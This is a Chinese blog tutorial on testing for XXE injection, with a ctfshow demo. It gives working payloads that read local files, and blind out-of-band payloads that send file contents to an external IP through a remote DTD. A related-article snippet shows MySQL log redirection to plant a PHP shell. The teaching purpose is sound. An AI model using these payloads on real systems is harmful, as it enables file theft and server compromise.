XXE漏洞 黑盒测试 白盒测试 有无回显问题

前言

什么是XXE(xml外部实体注入漏洞)?  就是网站以xml传输数据 的时候我们截取他的传输流进行修改(网站没有对我们的输入进行过滤) 添加恶意代码 导致数据传输到后台 后台解析xml形式 导致恶意代码被执行

几种常见的传输数据的模式:

1、XML

还有几种模式

普通 :

user=xxx&&pass=xxx

json

{
    
    {
        admin:123
    }
}

为什么介绍这个? 就是不同的文件传输模式是会影响到我们的注入的探针的写入形式

因为 数据的传输是前后端呼应的 : 所以我们的输入在后台是进行解密的

黑盒测试

黑盒测试我们以 本地的源码进行测试

XXE的payload       这里注意  需要在远程的服务器上写入 两个文件
1、读取文件:
<?xml version="1.0"?>
<!DOCTYPE Mikasa [
<!ENTITY test SYSTEM  "file:///d:/1.txt">
]>
<user><username>&test;</username><password>Mikasa</password></user>1.1、带外测试:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://9v57ll.dnslog.cn">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>2、外部引用实体dtd:
<?xml version="1.0" ?>
<!DOCTYPE test [<!ENTITY % file SYSTEM "http://127.0.0.1:8081/evil2.dtd">%file;
]>
<user><username>&send;</username><password>Mikasa</password></user>evil2.dtd:
<!ENTITY send SYSTEM "file:///d:/e.txt">3、无回显读文件
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "file:///d:/e.txt">
<!ENTITY % remote SYSTEM "http://47.94.236.117/test.dtd">
%remote;
%all;
]>
<root>&send;</root>test.dtd:
<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">
4、伪协议玩法

本地先抓包进行判断  xxe是有回显的还是无回显的

那就可以进行文件的读取 (其实XXE实体的注入  还可以进行其他的操作 比如 命令的执行 但是这个一般都是 框架的安全)

演示:

加入这个d:\\下的1.txt是我们的配置文件 

这个有个限制就是php版本需要是5 开头的 因为高版本的这个危险的函数早就鸡鸡了

还有个就是密码随便输就行 都可以进行读取

案例二

一个文本输入的网站  (类似于留言版 这里网站大多会使用 数据传送格式 不然会造成数据的丢失)为什么使用 XML(他是 序列化的传输)

我们右键看一下源码

发现信息就需要进行利用  抓一下包

数据是回显的

为什么后边要加一个 root 这个就是系统的区别了  win是不需要的  但是 linux看这个配置文件是需要root权限

白盒无回显

先说一下思路无回显 :
1、带外   除了使用dnslog  还可以直接使用   自己的服务器
2、 外部xml实体注入        
外部引用dtd库文件(远程代码访问dtd之后就会解析里面的内容xml的特性)进行读取文件(oob盲注  外部引用dtd)
(原理就是把想读取的文件 的 内容  写到其他的空文件)从而实现读取、

白盒测试思路:

1、根据功能看代码  : 如文件的上传的绕过我们黑盒是很难知道逻辑的 只能猜 但是根据这个功能 我们找到相应的代码函数 (move_file_upload)就能分析他的过滤机制

2、根据代码看功能 就是白盒我们知道代码但是不知道  这个漏洞发生在哪里的时候就需要这样做 进行全局搜索我们 了解的这个漏洞的相应的功能

XXE白盒测试的函数        simplexml_load_string       

先玩无回显

带外之后是不是就能 直接执行命令了

但是现在带来的是第二个玩法          oob盲注

就是外部的xxe(远端服务器准备 一个 写入的文件  一个dtd库访问使其触发(

test.dtd

<!ENTITY % all "<!ENTITY send SYSTEM 'http://47.94.236.117/get.php?file=%file;'>">

))远程访问的作用

之后服务器就会出现这个file.txt

如果执行不了就给与适当的权限

白盒测试

根据函数 找位置

再找功能是那个网页的页面实现的

右键转到引用

看引用 然后浏览器跳转到 页面   进行测试就OK了

演示ctfshow的题目:

解析完我构造 这个的大概意思就是 需要使用 ctfshow 包裹我们的输入才能执行

<!DOCTYPE xiaodi [
        <!ELEMENT ctfshow ANY >
        <!ENTITY flag SYSTEM "file:///flag">
]>
<root>
    <ctfshow>&flag;</ctfshow>
</root>
这个root哪里来的 这个其实是为了成功读取的一个伪装

<!ELEMENT ctfshow ANY > 定义一个ctfshow标签

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/496948.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

《数据结构》期末考试测试题【上】

数据结构测试题 1.数据结构是指什么&#xff1f;2.某语句时间复杂为&#xff1f;3.关于数据结构的说法那个正确&#xff1f;4.一个算法的评价标准包括哪些方面?5.时间复杂度指的是什么&#xff1f;6.算法的重要特征有那些&#xff1f;7.某语句时间复杂为&#xff1f;8.存储数据…

PCA降维MATLAB代码解释及应用场景

代码整体功能概述 这段代码主要实现了以下几个功能&#xff1a;首先读取两个 CSV 文件中的数据&#xff0c;对数据进行归一化处理后合并&#xff0c;接着绘制原始数据的散点图进行可视化展示&#xff0c;然后应用主成分分析&#xff08;PCA&#xff09;算法对合并后的数据进行…

JVM学习-内存结构(一)

一、引言 学前了解&#xff1a; 1.什么是JVM 1.1定义 Java Virtual Machine &#xff0c;Java 程序的运行环境&#xff08;Java 二进制字节码的运行环境&#xff09;。 好处 一次编译&#xff0c;处处执行 自动的内存管理&#xff0c;垃圾回收机制 数组下标越界检查 比较…

【C++】统计正整数的位数:题目解析与代码优化

博客主页&#xff1a; [小ᶻ☡꙳ᵃⁱᵍᶜ꙳] 本文专栏: C 文章目录 &#x1f4af;前言&#x1f4af;题目描述**题目要求&#xff1a;统计正整数的位数** &#x1f4af;我的代码实现**核心逻辑解析** &#x1f4af;老师的代码实现**老师代码逻辑解析** &#x1f4af;我的代码…

QML学习(五) 做出第一个简单的应用程序

今天先尝试做出第一个单页面的桌面应用程序。 1.首先打开Qt,创建项目&#xff0c;选择“QtQuick Application - Empty” 空工程。 2.设置项目名称和项目代码存储路径 3.这里要注意选择你的编译器类型&#xff0c;以及输出的程序时32位还是64位。 4.然后一路下一步生成项目框…

光谱相机与普通相机的区别

一、成像目的 普通相机&#xff1a;主要目的是记录物体的外观形态&#xff0c;生成人眼可见的、直观的二维图像&#xff0c;重点在于还原物体的形状、颜色和纹理等视觉特征&#xff0c;以供人们进行观赏、记录场景或人物等用途。例如&#xff0c;拍摄旅游风景照片、人物肖像等…

PhPMyadmin-cms漏洞复现

一.通过日志文件拿Shell 打开靶场连接数据库 来到sql中输入 show global variables like %general%; set global general_logon; //⽇志保存状态开启&#xff1b; set global general_log_file D:/phpstudy/phpstudy_pro/WWW/123.php //修改日志保存位置 show global varia…

【畅购电商】项目总结

目录 1. 电商项目架构图 1.1 系统架构 1.2 技术架构 2. 介绍电商项目 2.1 后台和前台、后端和前端 2.2 Vue全家桶包含哪些技术&#xff1f; 2.3 什么是Vuex&#xff1f; 2.4 什么是SSR 2.5 电商模式是什么&#xff1f; 2.6 枚举类 2.7 elasticsearch相关 2.8 gatew…

开源的go语言统一配置中心 - nacos + nacos go sdk

配置文件实时更新机制的场景需求 配置文件热更新主要应用于需要在不停机的情况下动态调整系统行为的场景&#xff0c;例如修改服务参数、切换数据源等。其原理在于通过一个中心化的管理平台来存储和分发最新的配置信息。当配置文件发生变化时&#xff0c;该平台会主动或被动地…

Redis--如何保障缓存数据库一致性?(面试高频问题)

如何保障缓存数据库一致性&#xff1f; 数据库和缓存不一致采用什么方案&#xff1f;实现商铺和缓存与数据库双写一致背景点评项目使用了什么策略&#xff1f; 存在什么问题&#xff1f;延迟双删&#xff08;强一致场景&#xff09;分布式锁&#xff08;强一致场景&#xff09;…

【Python系列】Python 连接 PostgreSQL 数据库并查询数据

???欢迎来到我的博客&#xff0c;很高兴能够在这里和您见面&#xff01;希望您在这里可以感受到一份轻松愉快的氛围&#xff0c;不仅可以获得有趣的内容和知识&#xff0c;也可以畅所欲言、分享您的想法和见解。 推荐:kwan 的首页,持续学习,不断总结,共同进步,活到老学到老…

Spring5.1.3 @Autorwired注解原理重新回顾

直接用一些例子代码说明Autorwired的工作原理&#xff0c;Spring版本为5.1.3 。 一般认为Autorwired是自动注入的&#xff0c;但实际不是&#xff0c;和byName, byType等自动注入没有任何关系。 Ca & Cb & Cc 三个类 Ca public class Ca {public Ca(){System.out.p…

Linux shell脚本用于常见图片png、jpg、jpeg、webp、tiff格式批量转PDF文件

Linux Debian12基于ImageMagick图像处理工具编写shell脚本用于常见图片png、jpg、jpeg、webp、tiff格式批量转PDF文件&#xff0c;”多个图片分开生成多个PDF文件“或者“多个图片合并生成一个PDF文件” BiliBili视频链接&#xff1a; Linux shell脚本对常见图片格式批量转换…

Linux应用软件编程-多任务处理(进程)

多任务&#xff1a;让系统具备同时处理多个事件的能力。让系统具备并发性能。方法&#xff1a;进程和线程。这里先讲进程。 进程&#xff08;process&#xff09;&#xff1a;正在执行的程序&#xff0c;执行过程中需要消耗内存和CPU。 进程的创建&#xff1a;操作系统在进程创…

119.【C语言】数据结构之快速排序(调用库函数)

目录 1.C语言快速排序的库函数 1.使用qsort函数前先包含头文件 2.qsort的四个参数 3.qsort函数使用 对int类型的数据排序 运行结果 对char类型的数据排序 运行结果 对浮点型数据排序 运行结果 2.题外话:函数名的本质 1.C语言快速排序的库函数 cplusplus网的介绍 ht…

Element-ui table组件:单元格未溢出,悬浮出现popover提示框

问题视图&#xff1a; 问题定位&#xff1a; 源码中&#xff0c;给开启溢出提示的列单元格都添加了class,并且宽度为实际列宽-1。 若单元格内容宽度100%撑开&#xff0c;则会计算为溢出情况。 处理方法&#xff1a; 单元格内容宽度设置100%-1。

Llama 3 预训练(二)

目录 3. 预训练 3.1 预训练数据 3.1.1 网络数据筛选 PII 和安全过滤 文本提取与清理 去重&#xff08;De-duplication&#xff09; 启发式过滤&#xff08;Heuristic Filtering&#xff09; 基于模型的质量过滤 代码和数学推理数据处理 多语言数据处理 3.1.2 确定数…

打破视障壁垒,百度文心快码无障碍版本助力视障IT从业者就业无“碍”

有AI无碍 钟科&#xff1a;被黑暗卡住的开发梦 提起视障群体的就业&#xff0c;绝大部分人可能只能想到盲人按摩。但你知道吗&#xff1f;视障人士也能写代码。 钟科&#xff0c;一个曾经“被黑暗困住”的人&#xff0c;他的世界&#xff0c;因为一场突如其来的疾病&#xff0c…

黑马Java面试教程_P9_JVM虚拟机

系列博客目录 文章目录 系列博客目录前言1. JVM组成1.1 JVM由那些部分组成&#xff0c;运行流程是什么&#xff1f;3 41.2 什么是程序计数器&#xff1f;3 4总结 1.3 你能给我详细的介绍Java堆吗? 3 4总结 1.4 什么是虚拟机栈 3 4总结 1.6 能不能解释一下方法区&#xff1f; 3…

修改 ssh 默认访问端口

Linux 最小化安装后默认带有 ssh 服务并正常运行&#xff0c;服务默认端口为“22”。为了确保访问网络的安全&#xff0c;很多用户的网络设备对“22”端口做了限制&#xff0c;这时我们需要修改 ssh 服务默认的端口。 此步骤建议直接在服务器上通过鼠标键盘操作 修改配置文件 …